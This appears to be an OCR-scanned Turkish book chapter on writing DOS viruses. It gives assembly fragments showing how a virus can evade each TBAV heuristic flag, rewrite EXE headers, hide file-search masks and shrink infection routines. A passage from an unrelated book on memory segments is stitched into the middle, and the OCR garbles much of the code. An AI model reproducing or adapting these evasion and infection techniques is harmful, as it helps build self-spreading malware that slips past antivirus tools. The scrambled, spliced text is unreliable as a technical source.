dosyaya Ozcl derlenmislerdir. Genelde COM dosya viriisleri bu bayraga vakalamr. Bir
¢ok degisik tcknik kullamlabilir. Yanhs alarm verme iltimali azdir. Ornck kodlari
inceleviniz,

Ornek: :
leca  dx.[si + offsct Fname - offsct Viriis]
mov ax.3D02h dosva R/AW modunda
int 21h agihivor
jc No_Good
xchg  ax.bx .BX = dosva handlc"
Yerine:

Mov bp.si
add bp.olTsct Fname - ofTset Viriis
nov dx.bp

nmov ax.3D02h .dosya R/W modunda
int 21N -acthvor
jc No_Good

xchg  ax.bx .BX = dosya handle¢'s



mov word ptr [si + Allr - Virus).cx .6zcllikler saklanivor
cmp byte ptr |si + Start_Code+3 - Virus],20h :bosluk karakteri igin
. kontrol edilivor

add word ptr [si + Loc - Virus],cx
sub word ptr [si + Locl - Virus].dx

S - Cahsabilir Dosya Aranmas:
Nonresident dosya virtisleri bulagma islemi i¢cin EXE/COM dosvalar igin arama iglemi

gergeklestirirler. Bunu viriis disinda degisik programlarda vapmaktadir, Bu durumda
bu bayrak isarctlenir.

Ornek:

db " COM'
db ".EXE'

Yerine:

mov bp.offsct Com_Files  :sifrelenmis dosya maskesi "* COM"

call ~ Point_Encryvpt
add bp.02
call Point_Encrvpt

Uyart agagidaki kod satur R Mag'ina vakalanmaktadir. Bu sekilde kullanmayin
lca dx.|st + offset Com_Files - offsct Virus |
mov ax.04E00h  FINDFIRST servisi
mov cx. 3
int 215

Point_Encrypt:

push bp
add bp.si
sub bp,ollsct Virus virtisiin baglangig noktasinin

:SI igerisinde oldugu
kabul edilmigtir

XOr word ptr [bp].ID2

pop bp
ret

com_Files db  5Dh.591.34h,38h./M0  ;sifrelenmis dosya maskesi *.COM.0
ID2  equ 7777h
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Yukaridaki uvgulanan teknik siiphe ¢ekeeek string'lerin sifreleme islemi kullanilarak
gizlenmesi, sadece gerekli o dugu an normale dondiiriilmesinden ibdrettir.

T - Gegersiz Tarih/Zaman Degerleri

Dosyanin tarih/zaman degerlerinin - gegersiz - degerlerle  degistirilmesi, ornegin
bulunulan tariliten. 2000 senesinden sonrast gibi..., veya sanivenin 62 olmast bu
islemin biiviik iltimai ile viriis tarafindan yapilacag: kabul edilir. Birgok virtis daha
snce bulasip bulagmadigim kontrol ctimek igin time/date degerlerine kendisine ait
tamimlayici bir defer yazar. Béyvle durumlarda bu bayrak isaretlenir.

Ornck:

I- Saniye ve dakika degerlerini 0-59 diginda, saat degerini 0-23 diginda tutmak.
2- Y1l kismum icinde bulunulandan ileri degere esitlemek veya sifir yapmak.

Yerine,

Viriis imzasim vazarken, kesinlikle siiphe uyandirmayacak degerler yazlir, Ornegin
sanivevi 3 yvapmak gibi. Alternatif olarak veriler arasinda bir iliskide kurulabilir.

Saniveyi giiniine esitlemek bir tanesidir.

Not : Bu }-'ﬁmcﬁl giiniimiizde pck ise yaramamaktadir. Ciinkii antiviriis programlari
dosyalarin bu tip degerlerini saklamakta ve bir sonraki kontrolde degisiklikleri kontrol

etimckitedir.

U - Dikiiman Edilmemis (Undocumented) Sistem Cagrilar
Dékiiman edilmemis sistem ¢agrilart kullamliyor ise bu bayrak isarctienir. Bunu
kontrol edcbilmek icin TBAV INT 21'de AH=6E 'den daha yiiksck interrupt ¢agirimi

vapihip vapilmadigin kontrol eder.

Ornek;
mov dx.1234h
mov ax,5945h :standart olmayan DOS servisi
Hl 21N
Yerine 1;
nmov ax,4301h -normal bir DOS servisi
mov dx,word ptr [si + F_Date - Virus]
Mmov cx.word ptr [si + F_Time - Virus]
mov dx.1234h
add ax,1644h -bu islemler sonucunda AX = 5945h olur.

int 21h



Yerine 2; normal DOS interruptClarim kullanabilirsiniz.

mov al. OF Il ;viriis resident kontrol degeri

mov ah,30h  :DOS versivon numarasini égrenme kesmesi

int 21h

cmp al.0 virtisiin akuf oldugunda 0 dondiirccegi varsavilmistir,
je Virus_Is_Resident

---INT 21h handler--

cmp ax.30F1h :virtis INT 21h handler't degerleri kontrol edivor

jne . Go On

NOr al.al :DOS 30h servisi higbir zaman
.gerive 0 degerini dondiirmez

irel

w = Windows veyva O8/2 Dosya Header's

Bu bayrak WINDOWS EXE dosyalarina bir virisiin normal EXE zannederck bulasip
NEW EXE'nin yapisin1 bozdugu zaman olur. Bundan korunmanin yolu EXE dosyanin
NEW EXE olup olmadigim kontrol cdip. ona bulagmamaktir. Yada bu tip dosyalara
bulasacak uygun teknikler kullanmaktir. Bu dosyalara nasil bulasilacagit WINDOWS

EXE DOSYA VIRUSLERI baghgi alunda anlatlnustir,

Tespit edebilmek igin dosya igerisinde ofsct 18h konumunda 401 " @" degerine veAeya
ofsct 1025/1026"nct byte'larda (decimal) NE degerinin olup olmadigina bakilarak
gergeklestirilebilir,

¢s:0000 call 0056  :gencllikle

¢s:0003 db "This Program requires Microsoft Windows$'. ..
cs:0056 pop  dx .stack = 0003

push  c¢s

pop ds :DS=CS

mov  ah.09

int 21N .mcsaj ckranda gosteriliyor

mov  ax.4C0lh

it 21h program sonlaniyor

kontrol igin:

Check Exe:
cmp word plr [si + start_code-virus + 18h].40h :NEW EXE mi?
je check_windows evet ise kontrole devam et,



Check Windows:
mov dx.[st + start_code - virus + 3Ch] ;NE hecader pointer'ini oku

in

mov cx.[si + start_code - virus + 3Eh]

mov ax.4200h :pointert DX:CX'e tasi
int 21h

call read header to buller :NE hecader'ini bufler

.icerisine oku
cmp _ word pir [si + start_code - virus].454Eh  :NEW EXFE mi?
jc 1t_1s_windows

Y - Gegersiz Boot Sckiior

Boot scktoriin yapist BOOT sckior yapisina uygun olmadifinda bu bavrak aktil olur.
Bozulmus vada biiyiik ihtimal ile viriis bulagnustur. Bu bayraktan korunmanin en iyi
yolu boot scktér okundugunda okuma isteginin gercek boot sckioriin saklandig vere
yonlendirilmesini  saglamakur., Bunun igin  BIOS diizeyinde  stealth  tcknikler

kullanmahidar.

Z, - EXE/COM Tanmimlamas
Dosya igerisinde programlarin EXE mi? COM mu? oldugu anlasilmaya ¢alisan kod
grubu meveut isc bu bayrak isarctlenir. Fakat vanlis alarm verme ihtimali viikscktir.

Ornek:
cmp word ptr [si + Start_Code - Virus].'ZM' EXE mi?
jec Continue evel 1se devam et
cmp word ptr [si + Start_Codc - Virus].'MZ' :EXE mi?
ine Check_Com
Continue;
Yerine;
mov ax.0A5B2h
not Cax dslem sonucu AX="ZM' olur
cmp Word Ptr [si + Start_Codc - Virusl.ax EXE mi?
ic Continue .evel ise devam cl
mov cl.8
ror ax.cl glem sonucu AX="MZ' olur
cmp word ptr [si + Start_Code - Virusl.ax :EXE mi?
je Check_Com

Continue:



? - Tutarsiz Header fglemleri
Eger STACK scgment, CODE scgmentle esitlenirse (SS=CS) veva stack pointer

bulasma tanima imzast olarak kullanilirsa, bu bayragin aktif olmasina scbep olur. EXE

header programin yapisini tam gostermez hale gelir. .

Ornek;
‘bulasilan EXE dosyanin header't yeniden diizenleniyor
mov  word ptr [si+ Start_Code - Virus + 14h].dx ;IP
mov  word ptr [si+ Start_Code - Virus + 10h].'DA" :SP
mov  word ptr [si+ Start_Codc - Virus + 16h].ax ;CS
mov word ptr [si+ Start_Code - Virus + OEh].ax ;S5
Yerine;

‘bulagtlan EXE "nin uzunlugu DX:AX iizerinde saklanmvor
.yeni CS:IP hesaplaniyor

mov word ptr [si+ Start_Code - Virus + 14h].dx ;IP

mov  word ptr [si+ Start_Code - Virus + 16h],ax ;CS

pop dx -dosva uzunlugu stack

pop ax -tizerinden geri alinyor

add ax.Virus_Size  :dosya uzunlugu AX'e cklcnivor
adc dx.0000h DX carry flagh ile diizeltiliyor
push  ax

push . dx

add ax,40h -stack boyu arttiriliyor

div cX

-

mov  word ptr [si+ Start_Code - Virus + 10h],dx :SP
mov  word ptr [si+ Start_Code - Virus + OEh].ax ;SS

pop dx
pop ax

# - Sifre Ciziicli hod
Kendini desifreleyen kod pargasi bulundugunda bu bayrak aktl olur. Bu islemi
viriislerin digstnda da kullanan birgok program vardir.

Bircok mutasyon viriisil bu bayraga takilir. Mutasyon viriisiiniin karmagikhigt arttikea
yakalanma ihtimalide artar. Baz1 mutasyon tcknolojisi igeren kod iireticiler gereksiz



155

kod yiginlart kullamirlar. Fakat bu islem sonug olarak bayragin aktf olmasim saglar.
Burada ¢éziim ¢ok basit gifreleme tcknikleri vazmak ile gergeklestirilebilir. Antiviriis
arastrmacilan en fazla Trident’s Polymorphic Engine adli mulsayon iiretici .OBIJ
dosyayr kullanan virisleri tespit cdecek algoritmayr gelistirirken zorlanmuslardir.
Ciinkii. TPE milvonlarca degisik ama cok basit desifreleme rutini olusturur. Avrica
heuristic taramaya yakalanmadan dcsifreleme vapacak dcgifrcleme algoritmalarnda

nmewvcutiur.

- Gegersiz Komut
Gegersiz komutlarin yani 8086/88 yapisina uygun olmayan kodlar bu bayragin
isarctienmesine scbep olur. Hatali viriisler veya programlar genelde bu bayraga

takilirlar.

@ - Komut Kontrolii

TBAV heuristic metodunun bu bayvragimin nasil calistigin anlamak icin komutlarin
mikroislemcive gonderilis gekillerini bilmelisiniz. Intel mikroiglemcilerinde bir
komutu islemcive 2 degisik sekilde gondermek miimkiindiir. Eger gonderilen komutun
sckli derleyicilerin genelde kullandigt sckil degilse bunu bir mutasyon iircticinin
vapnus olma ihtimali viikscktir. Boyle durumlarda bu bavrak aktil hale gelir.

Ornegin "OR CX.CX" komutu

db 09h, 0cYh
veya
db Obh, 0c9h

Seklinde islemciye verilebilir. Bu komutlar BIT diizeyindc ifade edildigindc agagidaki
gibidir;

i- 00 0 010 1 1 --- (OB
2- 00 0 01 0 0 1 --- 09 (Bayraga Yakalamr)
opcode dir bit word dir bit = yon biti (direction bit)

Genelde bilinen derleyiciler asla OR CX,CX komutunu ilk drnekicki gibi derlcmez. Bu
yiizden cger mutasyon tcknigini igercn bir viriis bu sckilde bir kod iirctirse bu @
bayragina vakalamir. Gordiigiiniiz gibi iki drncklc sadece direction bit degisiktir. Eger
direction bit = 0 ise (ki TBAV bunu kontrol eder) bunun anlami; kaynak (source) ve
destination (hedef) ver degistireccktir. Bunu bir derleyici ¢ok nadiren vapabilir Takat
mutasyon tcknigi ile kendi kodunu degigtiren viriisiin yapima ihtimali yikscktir. Bu-
bayraga takilmamanm tck yolu mutasyon dretici rutinleri yazarken dogal komutlar
iirctecek sekilde yazmaktuir.



ﬁfﬁmﬂnu hl;;-;rir. ROM'da yerlegtirilmis veriler olagan ko-
Y deglaﬂﬂlemez]er_

“Segment® ve "O0ffset” Nedir?

Bilglsayarn bellegindeki her bayt “wdres (Ing.address) ism ve-
rilen bir etikete sahiptir. Bu y6ntemin nasil igledigini anlamak

i¢in bir mikear onbllglye gerek duyacaksiniz,

Her adresin igerl bir bayta ya 'da 00000000'dan T11t1111'%e

kadar deger degistiren sekiz bite sintrlanmistir; bu sayilar, onda-
Itk olarak 0 ve 255, onaltilik olarak 00 ve FF'ye kargi daserler.

leorlk olarak, PC'lerde kullanilan Intei 8088 mikrobilgisayar
yongasi (ya da egdeger herhangi bir yonga), 1048 575 bayt (I me-
gabayt) adres alanina sahiptir; IBM, bilglisayar: by bellek sinirimin
biraz altinda tasarlanmigtir. Diger yandan adresleme igtemi Igin
yalniz iki bayt (16 bit) kullanilir. Stzkonusu iki-bayt adres, I me-

gabayt baytkingandeki tom alant adreslemek icin yeterl degildir,
Iki bayt, ancak 16*16%16*=65536 degerine kadar saymanizy saglar,

Halbuki 16 kat daha fazla adres bulunmaktadar.

Vnnga tasarimcilari, adres| gostermek fzere iki tane iki-bayt
kullanmaya karar verdiler: biri, "&sltm adnesi (Ing.segmenty, dige-

ri, "uzaklek cednesi {Ing. offset) olarak isimlendirlidi. "Segment”,
16'min katlariyla sayan bir adres tarodor ve ornegin bu kitabin bo-

ltmlerine benzer. "Offset”, bir "segment" i¢inde bayt sayacidir ve
bir bolom icindeki sayfa numalarin: andirir,

Bellektekl bir baartln adresini belirlemek icin d6rt tane onalty-
ik say1 basamegimi "segment" numaras: (SSSS) ve bir diger dort
tanc onaltilik say: basamagint "offset” numaras) {0000) olarak kul-
lanmalisiniz. Mutlek yerin (Ing.absolute location) hesab: icin bllgi-
sayar bol@m adresini (segment) 16 fle carpar ve uzakbhik adresini

{offset) buna ekler.

Ornegin, PC/XT bilgisayarlarda ROM BIOS'un baglangic adresi
FO00:E000'dir. Bu adres, FE0OO mutiak yerine karg:1 doger., Alter-
natif olarsk ayni' adresi FI1E1:CIFQ biciminde (ve daha pek cok
deglsik bicimlerde) yazabllisiniz; canko FIE1*10+C1F0 onaltilik ig-
leml aym: mutlak yeri, FEQQO adresinl vermektedir.

Bu noktada kafamizda olugsan pek cok soru olabilir; fakat siz
yonteml kavramaya cabgin, Simdilik yeterlidir.



Adresleme mantigin Ogrendiginize gére Sekil 9.1 ve 9.2,
gimdl size daha anlamli gelecektir, sekil 9.1'de bir bellek haritas
{Ing.memory map} ve Sekil 9.2'de bellegin fonksiyonel alanlar) ve-
rilmigtir. Birtikte belirli etkinliklerin olugtugu genel bellek yerlerl-
ni vermektedirler., Bazi alanlar, veriler iIcin ayrilmigtir. PDigerleri
ise makina dil ve BASIC programlar Icin kutlaniimaktadir. Bu
alanlarin anlaml nlahllm_eal igin 6grenmeniz gereken bazi seyler

daha vardir.

BOLOM: UZAKLIK MIKTAR + ONKSIYONU

0000:0000 , 64-256K * Ana karttaki RAM**

4000:0000 0-384K ~enigleme kartinda RAM

A000:0000 128K - yrilmig

8000:0000 16K Monokrom ekran tamponu
00:4000 16K

B000: 8000 16K Renkll (CGA) ekran tamponu

B000: Co00 16K

C000:0000 192K ROM Genigleme ve Denpetim

('000:0000 16K Ayrilmg

F000: 4000 . BK Kullanicsy ROM alam

F000:6000 32K Yerlesik BASIC ROM
000:E000 8K 8I0S ROM |

ik PC'lerde 16 K~ 5
|** Sekil 9.2'ye bakimz - B

yekil 9.1 - Bir bellek haritas:
Béllﬁge Deger Yeriestirme

Bolom 1'de verilen DEBUG araciliftyla bellegl nasii kurcalaya-
bileceginizi gostermigtim; bu teknik kitabin cesttll yerlerinde kul-
lamimigtir. DEBUG", kullanmay! ogrendikten sonra pek ¢ok insan,
bellegl kurcalayarak aciga cikarablleceklerl sirlar olup olmadiging
merak eder.

SNOOPER.BAS isimii program, DEBUG"Y' kullanarak size ara-
diklartmzin nerede oldugunu gosterir. SNOOPER.BAS'in en bbyitk
Ozelligi, bellekteki BASIC programinin baglangic yerinin korunmasi-
dir. SNOOPER.BAS jle cahigirken onu da gbzleyebilirsiniz, Bagka
bir deyisle, bu program: bagka programlarin pegine ekleylp Ic yapi-
[arms inceleyebilirsiniz.
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Bu bolim viriislerin aktif olduklarinda kendilerinden islenileni yapan kisimdir.
B&limiin icerifi tamamen yazarin kendisiyle tigili bir noktadir. Yazann kigiligine ve
amacina yonelik olarak farkhihk gésterir. Kimi zaman 6&ldiricli, kimi zaman

glildiirilct olabilir.

Bu kisim bizim virisler ile ilgili olarak anlatmak istediklerimizden uzaktir. Bu kitapta
amacimuz virlislerin nasi} yazildigim anlatimak oldugu igin BOMBA kismu ile ilgili
bilgi veya fikirleri uygun olmadifindan dolayt sadece baghk olarak anmakia
yetinivoruz. Fakat bu bilgiye sahip olmak, virlislerden iyi derece korunmay
beraberinde getirecektir. Opréiiilén . tckniklerin daha faydaly iglerde kullaniimas,
zannediyoruz ki TURKIYE'de bilgisayar donyasina fayda saplayacakur. Umarnz ki bu
kitaptan faydalanan kisiler 8grendiklerini faydah amaglar ufruna kullansiniar.
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Daha 8nce de belirttigimiz gibi viriis tiplerinin arasindaki temel fark, hedef olarak
sectikleri ortam iizerinde yavilmalarim saglayacak ¢ofalma tcknikleri ve galigma
sckillerine pore etkileridir. Bunun disinda kalan, gizleyici kisim iginde kullanilacak
teknikler hemen hemen biitiin virils tipleri igin gegerlidir. Bundan dolays biltiin viris
¢esitlerinde kullanilabilecek olan bazi pif noktalart burada anlatmaya galigacagiz.

Heap Alansm Kullamin
Heap kodun sonu ile stack’in alt1 arasinda bir hafiza sahasidir. Bu alan viris taralindan

kullandabilir. Degiskenleri heap'a kopye etmek virtisiin uzunlugu azaittr. Heap virtisiin
bir kismu degil sadece gegici degerlerin ve depiskenlerin saklanmasi igin kullamlan
gegici  yerdir. Sifrcleme kismunda heap alanim  virlisin  bir  kismt  olarak
degerlendirilmemesi gercklidir. Heap'i kullanmanin 2 yolu vardir.



1. Metod

EndOfVirus:
Variablel equ $
Variablel equ Variablel + LengthOfVariablel

Variable3 equ Variable2 + LengthOfVariable2
Variable4 equ Variable3 + LengihOfVariable3

. birinci meloda drnek

EndOfVirus:

StartingDirectory =3

TemporarvyDTA = StartingDirectory + 64
FileSize = TemporaryDTA + 42
Flag = FileSize + 4

2. Metod;

EndOfVirus:

Variablel db LengthOfVariablel dup (?)
Variable2 db LengthOfVariable2 dup (?)
Variable3 db LengthOfVariable3 dup (7)
Variable4 db LengthOfVariabled dup (?)

: 1kinct metoda ornck

EudOfVirus:

StartingDirectory db 64 dup (1)
TemporaryDTA db 42 dup (7)
FileSize dd 7

Flag db ?
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Iki metodun farki dnemsizdir. Fakat 1. metodia viriisiin uzuidugu (+ baslangic kodu)
kadar bir dosya olusturursunuz. Birinci olarak degiskenleri, uzunluk belirtimlerini
(BYTE PTR,WORD PTR,DWORD PTR,...), ikinci olarak degiskenlerin yveniden

dizenlenmesi gerekirse; tiim EQUales zincirinin silinmesi ve yveniden diizenlenmesi

gerekir. 2. metodla yazilan virislerde uzunluk ayarlamalan gerckmez. Fakal dosyanin

virlsiin gergek boyutundan fazla uzamasina sebep olur. Sadece viriis, bulasunus m?

-heap kullanmak viriis kodunu azalimaktadr.

‘Rutinler (Procedure)
Rutinler virGsiin kodunu azaltmak igin oldukga kullanish ve oldukga favdahidir.

- Rutinler sadece avantaj kazandirdiklan zaman kullanstmalidir.

kontrold yaparken o an galigmakta oldugu dosvaya yeniden bulasabilir. Her durumda



254

Bir rutinin ne kadar yer kaplayacagim su formiille hesaplayabilirsiniz;

PS = rutin uzunlugu (bytc cinsinden) |~====-=======-=- > a g
kazanilan byvte = (PS - 4) * ¢caginla adedi - PS +

+

Ornegin dosya kapamak igin : +
...:I._

close file: +
mov  ah, 3¢h : 2 bytcs 4+

int 21h . 2 bytes +

rel . 1 byle +
PS=242+]1 =5 <emeememmmccocae--- +

(5-4)*6 -5 =1 byte kazamlnus olur.

Bu rutin sadece 6 defa veva daha fazla gagiriliyorsa kullamshdir. Fakat bir viris
dosyay1 6 degisik yerde kapatmaz. Bu yiizden dosya kapatmayi rutin haline getirmek
kullanigsiz ve yer kaybidir.

Ayrica rutinleri biiyiik 6lgiide esnek yapida dizayn ctinckte miimkiindiir.

Go_Eor:

mov al. 2 R
Move_Fp:

xor dx. dx
Go Somewhere:

xor CX, X

nmov ah, 42h

int 21h

rcl

Yukanidaki rutin cok esnck dizayn edilmistir. Go_FEof ctiketi ile istendiginde, dosya
gostergecini dosyanin sonunda konumlandinr. Move Fp etiketi AL=0 ile istendiginde;
dosva gostergeci resctlenir. Go_Somewhere ctiketi DX:AL icerisinde pozisyon dcperi
ile istendipinde dosya gostergeci dosya iginde herhangi bir yere atanabilir. Goriilldigii
gibi rutinler iyi sekilde kullanilirlarsa gok cok faydalari dokunur.

Mov Yerine Lea Kullamn
Viriis vazarlan ilk viriis denemelerinde genelde ofset hesaplamalarinda hata yaparlar.

Bu hatamn sonuclart bellidir. Viriis galigmazsa bunu kontrol edin. Bu C dilindeki
NULL pointer hatasini yakalamak kadar zordur.



Kod Optlimizasyonu
Viriste uzunluk éncmlidir. Gereksiz kod igeren viriisiin farkedilme itimali yiiksclir,

vavas ¢alisir ve daha fazla yer kaplar. Kod hatasiz ve son haline gelmeden kesinlikle
optimizasyona baglamaymn, Ciinkii optimizasyondan sonra kod ilave etmck kodun

yapisini, diizenini bozabilir.
iki tip optimizayson vardir,

1- Yapisal Optimizasyon
2- Yerel Optimizasyon

Yapisal optimizasyon
Kaynak kod igerisinde, programin algoritmasi iizcrinde inccleme yaparak daha diizenli
ve modiiler hale getirmektir. Ayrica rutinlerin kendi iglerinde esnek kullanmilabilecek

sekilde dizayn cdilmeside yapisal optimizasyon olarak degerlendirilebilir.

Ornek;
Go_ Eof.:
mov al, 2
Move Fp:
Xor dx. dx
Go_Somewhcere:
xor s S
mov ah, 42h
int 21h
ret

Yukarida optimize edilmig bir rutin 6rnegi bulunmaktadir. Bu érnegi daha 6nce VErmis
olmamiza ragmen konuyva uvgun olmasi sebebi ile birkez daha yazyoruz. Rutinin
actklamas: icin RUTINLER kismina bakiniz.

Ornek;

Y

check_install:
mov ax.1234h

int 21h
cmp bx,1234h
ret

install_virus:
call check _install
jz exit_install
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bu drnekte su yapilabilir ;

install_virus:
mov ax,1234h

int 21h
cimp bx,1234h
jz exit_install _ S

ilk érnekte verilen kod 4 byte daha uzundur. 3 byte CALL ve | byte RET komutu yer
kaplamaktadir. 4 byte ¢ok énemli géziikmesede tiim optimize bittiginde toplam kazang
énemli olacaktir. Ayrica rutinleri belli bir diizende istemekte kodu kisaltir,

Ornegin bir viriisiin genel yapist asagidaki gibi kabul edersek;

dosya ozelliklerini al

dosyvayt okuma modunda ac
dosyadan oku

dosyayt kapat

bulagiinug ise ¢tk

ozellikleri temizle

dosyayt okuma yazma modunda ac
dosyamin saat ve tarihini al

veni header't yaz

dosya gostergecini dosyanm sonuna egitle
viritsii ekle

orfinal saat ve tarihini kaydet
dosyayt kapat

orjinal dosya ozelliklerini avaria

Bunun yerine;
dosya ozelliklerini al
dzelliklerini temizle
dosyayt okuma yazma modunda ac
dosyadan oku
ulasilmiy ise dosyavi kapat ve ¢ik
dosyanm saat ve tarihini af
dosya gdostergecini dosyanun sonuna egitle
virisi ekle
dosva gdstergecini dosvanm bagina egitle
veni header't yvaz
orjinal saat ve tarihi kaydet
dosyayt kapaf
orjinal dosya ézelliklerini avarla
{r.h{.
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Yukanidaki 6rnekte gérdiigiiniiz gibi, ikinci metodta; open file ve close file cleniyor.
Bu onemli miktarda yer kazandirir. Boylece viriis daha anlagilabilir ve kolay

kodlanabilir hale gelir.

Yapisal optimizasyon ile redundant kodu atmaniz gerekebilir. Bulagma rutininde, hata
kontroliinde, her interrupt ¢agnsindan sonra kontrol (errortrapting) islemleri
gerekebilir. Islem esnasinda ilk JC ERROR kontroliinde problem gikmadiysa, érnegin
ilk disk yazma hatasiz ¢calismis ise devaminda da muhtemel olarak hatasiz galisacaktir,
Bir diger metod ise hata kontrolii yerine Critical Frror Handler kullanimidir. Bu size
hata kontrolii vapmadan kodunuzu olusturabilmenizi saglar. Hata olugsada olugmasada

viriis her durummda ¢alismaya devam edccektir.

Asagida optimize edilmis bir kod 6rnegi bulunmaktadir. Inceleyiniz:

mov ax, 4300h : dosva tzelliklerini al

nmov dx, oflsct filename

int 21h

push dx . dosya ismini stack iizerine kaydect

push cx - dosya 6zclliklerini stack tizerine kaydet

Inc ax - AX = 4301h = dosya 6zclliklerini sct ctme kesmesi
push ax . AX'in degerini stack iizerine kaydet

Xor cx.cx  : dosya ozclliklerini sifirla

int 21h

...bulasmanin geri kalani...

pop ax . AX = 4301h = dosva ¢zclliklerini set etme Kesmesi
pop cX . CX = orjinal dosya 6zcllikleri

pop dx . DX-> orjinal dosva 1smi

int 21h

Yapisal optimize gergeklestirirken degiskenler ve kullamimlari da ¢ok onembhdir.
Ornegin program igerisinde stack alanim gegici buffer olarak kullanin. Viriis kodunuz
icerisinde kendi DTA yapiniz igin yer ayirmaktansa bunu stack iizerinde gergeklestirin.
Ayrica DTA iizerindeki verileri tcker teker ayn degiskenlere aktarmaktansa isleminizi
DTA tizerinden vapin bu sizi fazla yer harcamaktan ve fazla kod satirindan kurtarir.

Yercel optimizasyon
Yapisal optimizasyona gére daha kolaydir. Yerel komut veya komut gruplarn iistiinde

diizenleme yvapmakla gergeklestirilir. Aym isi yapan daha kisa komutlar bulmak cn
genel metodtur. 8086 yapisinda bu tip piil noktalar oldukga fazladir.
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Ornek:

nmov ax,0 : 3 byte uzunlugunda
mov bp.0 . 3 byte uzuniugunda

olacagina ;

Xor ax,ax ;2 byte uzunlugunda
xor bp.bp : 2 byte uzunlugunda

veya |

sub ax,ax ;2 byte uzunlugunda
sub bp.bp

Kod daha kisa hale getirilebilir. Boylcce aym islemi 2 byte kazangla yerine
getirebiliriz.

Ornek:

mov bh,5h ;2 byte uzunlugunda
mov bl,32h ; 2 byte uzunlugunda

yvukarndaki kod toplam 4 byte biiyiikliigiindedir. Bunun yerine
mov  bx,532h ; sadece 3 byte uzunlugunda

Kullanabiliriz. Boylece 1 byle kazang saglamis oluruz. Bir dier 6rnek registerlar
arasinda deger tasima iglemidir.

Ornek;

mov bx.ax ;2 bylec
Yerine;

xchg ax,bx ;1byte
Dosya gostergeci kullaniminda,

mov ax,4202h

xXor dx,dx

XOr CX,CX
int 21h
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Yerine:

mov ax.4202h

cwd
Xor CX.CX
int Z1h

Cokca kullamilan register degerlerinin 1 artinimuinda 6rnegin AL/BL verine AX/BX
kullanmin; |

inc al . 2 byle

inc bl . 2 byte
Yerine,

Inc ax . 1 bvte

inc bx . 1 byle

Yukarnida oldugu gibi AL/BL yerine AX/BX kullanmak bize 2 byte yver kazandiri.
Ciinki her iki sekilde de register degerleri bir 1rtur1inmkla fakat sonug¢ colarak bagka

higbir sev etkilenimmemektedir.

Komutlar AL/AX register't ile kullamldiginda diger register'lanin kullanilmasina
oranla daha az ver kaplarlar.

cmp bx,1234h . 4 byle
cmp ax,1234h . 3 byle

Eger miimkiin ise diger segmentler yerine Data Segmenti (DS) kullanmak bize 1 byt
yer kazandirir, Ornegin AX'e deger atamak igin;

mov ax,es:[si] . 3 byte
mov ax,ds:[si] : 2 byte

Register'larin bosg olup olmadiim test etmek igin CMP yverine OR kullanmakta 1 byte
ver kazanadirmakitadir;

cmp ax,00h . AX =07 (3 bytc)
or ax.ax s AX =017 (2 byte)

BP register't yerine DS:SI kullanin,

mov ax.ds:[bp] > 3 byle
mov ax,ds:|si] . 2 byle
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Program kodu igerisinde degerler registerlann konumlari musait ise CMPS, LODS,
MOVS. SCAS, STOS ve REP komutlarint kullanin, Ornegin AX register'ina deger

atamak igin;

mov ax.ds:[si] . 2 byles
lodsw . AX <= DS:[DI] (1 byte)

Bir segmentin degerini diger bir segmente atamak istediginizde;
mov ds.cs . Bunu yapamazsimz !
gegici bir register kullanmalisimiz

mov axcs 2byle

mov ds,ax ;2 byte
Yerine;

push cs . 1 byte

pop ds . 1 byle

Miimkiin ise komutlar verine obje kodlar kullanin, érnegin  CALL SEG:OFF soyle
vapilabilir;

call far address =3 byle
address dd 7 . Adres degiskeni 4 byte
Yering,

callfar db  9ah - CALL SEG:OFF icin obje kodu (1 byte)
address dd 7 . Adres degiskeni (4 byte)

Béylece 2 byle kazanmig olursunuz.

Oplimizasyon koda gére her zaman degisik gekilde yaptlabilir. Iyi bir programci kodu
cok fazla azaltabilir. 80x86 komut yapisi iginde ¢ok fazla optimize edilecek nokta

bulunabilir.

SFT (System File Table)

DOS isletim sistemi galigma esnasinda agilan her dosyanin kontrolii i¢in System File
Table adinda bir liste tutar. Bu liste igerisinde dosya ile ilgili gerekli tiim bilgiler
bulunmaktadir. SFT'nin yapist FCB'ye benzemektedir. Fakal icerdigi bilgiler agisindan
cok daha etkilidir. SFT icerisinde. dosya gdstergecinin yeri, agilig modu, dosya



237

uzunlugu vs. gibi detayh bilgiler igerir. SFT tistiinde gerekli veriler iizerinde degigiklik
yapmak ile DOS interrupt rutinlerinin yerini alabilecek iglemler gergeklestirilebilir,
Diger tekniklerle birlestiinde daha etkili ve kisa viriisler yazilir.

System File Table yapis1 asagidaki gibidir.

DOS 2.x versivonu
Ofset  Uzunlugu Ag¢itklamast
00h DWORD pointer to next file table
04h WORD number of files in this table
06h 28h bytes per file
Ofset  Uzunlugu Actklamuast
00h BYTE number of file handles referring to this file
0Th BYTE file open mode (see AII=3Dh)
02h BYTE [ile attribute
03h BYTE drive (0 = character device, 1 = A, 2 = B, elc)
04h 11 BYTEs filename in FCB format
(no path, no period, blank-padded)
OFh WORD T
11h WORD m
13h DWORD file size?7?7
17h WORD file date in packed format (sce AX=5700h)
19h WORD file time in packed format (sce AX=5700h)
1Bh BYTE device attribute (see AX=4400h)
--—character device---
1Ch DWORD pointer to device driver
block device---
1Ch WORD starting cluster of fle
1Eh WORD relative cluster in file of last cluster accessed
20h WORD absolute cluster number of current cluster
22h WORD T
24h DWORD current file position???

DOS 3.x versivonu SFT ve FCB tablosu

L{_?_;‘.'ygr Uzunlugu A¢tklumast
00h DWORD pointer to next file table
04h WORD number of files in this table’
06h 35h bytes per lile




Ofset _ Uzunlugu Agitklamast
00h WORD number of file handles referring to this file
02h WORD file open mode (see AH=3Dh) bit 15 set
if this file opened via FCB
04h BYTE file attribute
05h WORD device info word (see AX=4400h)
07h DWORD pointer to device driver header if character device
' else pointer to DOS Drive Parameter Block
0Bh WORD starting cluster of file
0Dh WORD file time in packed format (see AX=5700h)
0Fh WORD file date in packed format (see AX=5700h)
11h DWORD file size
15h DWORD current offset in file
19h WORD relative cluster within file of last cluster accessed
1Bh WORD absolute cluster number of last cluster accessed
0000h if file never read or written??7
1Dh WORD number of sector containing directory entry
1Fh BYTE number of dir entry within sector (byte oflset/32)
20h 11 BYJdEs filename in FCB format
(no path/period, blank-padded)
2Bh DWORD (sharc.exe) pointer to previous SFT
sharing same file
2Fh WORD (share.exe) nelwork machine number
which opened file
31h WORD PSP segment of file's owner (see AH=26h)
33h WORD offset within share.exe code segment of

sharing record (see below) 0000h = none

DOS 4.0 - 6.0 versiyonlart arast SIFT ve I'CB tablosu

Ofset  Uzunlugu

Agiklamase

0O0h DWORD

pointer o next file table

